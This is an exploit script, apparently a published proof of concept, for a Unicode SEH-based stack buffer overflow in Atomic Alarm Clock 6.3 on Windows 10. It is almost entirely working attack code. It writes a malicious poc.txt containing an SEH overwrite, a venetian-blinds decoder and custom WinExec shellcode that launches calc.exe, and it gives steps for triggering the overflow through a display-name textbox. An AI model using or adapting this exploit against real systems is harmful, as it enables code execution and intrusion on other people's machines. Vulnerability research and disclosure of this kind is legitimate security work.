Atomic Alarm Clock 6.3 – Stack Overflow (Unicode+SEH)
# Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH) # Exploit Author: Bobby Cooke # Date: 2020-04-17 # Vendor: Drive Software Company # Vendor Site: http://www.drive-software.com # Software Download: http://www.drive-software.com/download/ataclock.exe # Tested On: Windows 10 - Pro 1909 (x86) # Version: Atomic Alarm Clock 6.3 beta # Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer File = 'poc.txt' os_nSEH = '\x41'*(461) nSEH = '\xeb\x05' # jmp short +2 SEH = '\x47\x47' # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe] #{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory getPC += '\x61' # popad # [ESP] = &Payload getPC += '\x72' # add [edx], dh # realigns execution for 1 byte opcodes ebx2eax = '\x58' # pop eax # EAX = &Payload ebx2eax += '\x72' # add [edx], dh # Ajust EAX to &Decoder getDecoder = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes getDecoder += '\x72' # add [edx], dh getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder getDecoder += '\x72' # add [edx], dh getDecoder += '\x50' # push eax # [ESP] = &Decoder getDecoder += '\x72' # add [edx], dh #DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' ## 2nd byte - \x00 => \x5F venBlinds = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72' ## 4th byte - \x00 => \x33 venBlinds += '\xC6\x33\x72\x40\x72\x40\x72' ## 6th byte - \x00 => \x33 venBlinds += '\xC6\x33\x72\x40\x72\x40\x72' ## 8th byte - \x00 => \x66 venBlinds += '\xC6\x66\x72\x40\x72\x40\x72' ## 10th byte - \x00 => \x10 venBlinds += '\xC6\x10\x72\x40\x72\x40\x72' ## 12th byte - \x00 => \x33 venBlinds += '\xC6\x33\x72\x40\x72\x40\x72' ## 14th byte - \x00 => \x42 venBlinds += '\xC6\x42\x72\x40\x72\x40\x72' ## 16th byte - \x00 => \x32 venBlinds += '\xC6\x32\x72\x40\x72\x40\x72' ## 18th byte - \x00 => \x02 venBlinds += '\xC6\x02\x72\x40\x72\x40\x72' ## 20th byte - \x00 => \x10 venBlinds += '\xC6\x10\x72\x40\x72\x40\x72' ## 22nd byte - \x00 => \x3F venBlinds += '\xC6\x3F\x72\x40\x72\x40\x72' ## 24nd byte - \x00 => \x1F venBlinds += '\xC6\x1F\x72\x40\x72\x40\x72' ## 26th byte - \x00 => \x49 venBlinds += '\xC6\x49\x72\x40\x72\x40\x72' ## 28th byte - \x00 => \x02 venBlinds += '\xC6\x02\x72\x40\x72\x40\x72' ## 30th byte - \x00 => \xED venBlinds += '\xC6\xED\x72\x40\x72\x40\x72' ## 32nd byte - \x00 => \xC3 venBlinds += '\xC6\xC3\x72\x40\x72' # Jump to the decoded decoder by Returning to the address we saved on the stack venBlinds += '\xC3' # ret [!] Now we are executing the decoder! os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds)) # Custom PopCalc shellcode that avoids the bad characters fKernel32 = '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08' gExpotTbl = '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57' fWinExec = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C' # Call WinExec( CmdLine, ShowState ); # CmdLine = "calc.exe" # ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window callWinExec = '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3' shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec buffer = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode filler = '\x77'*(9000-len(buffer)) buffer = buffer+filler try: payload = buffer f = open(File, 'w') f.write(payload) f.close() print File + " created successfully" except: print File + ' failed to create' |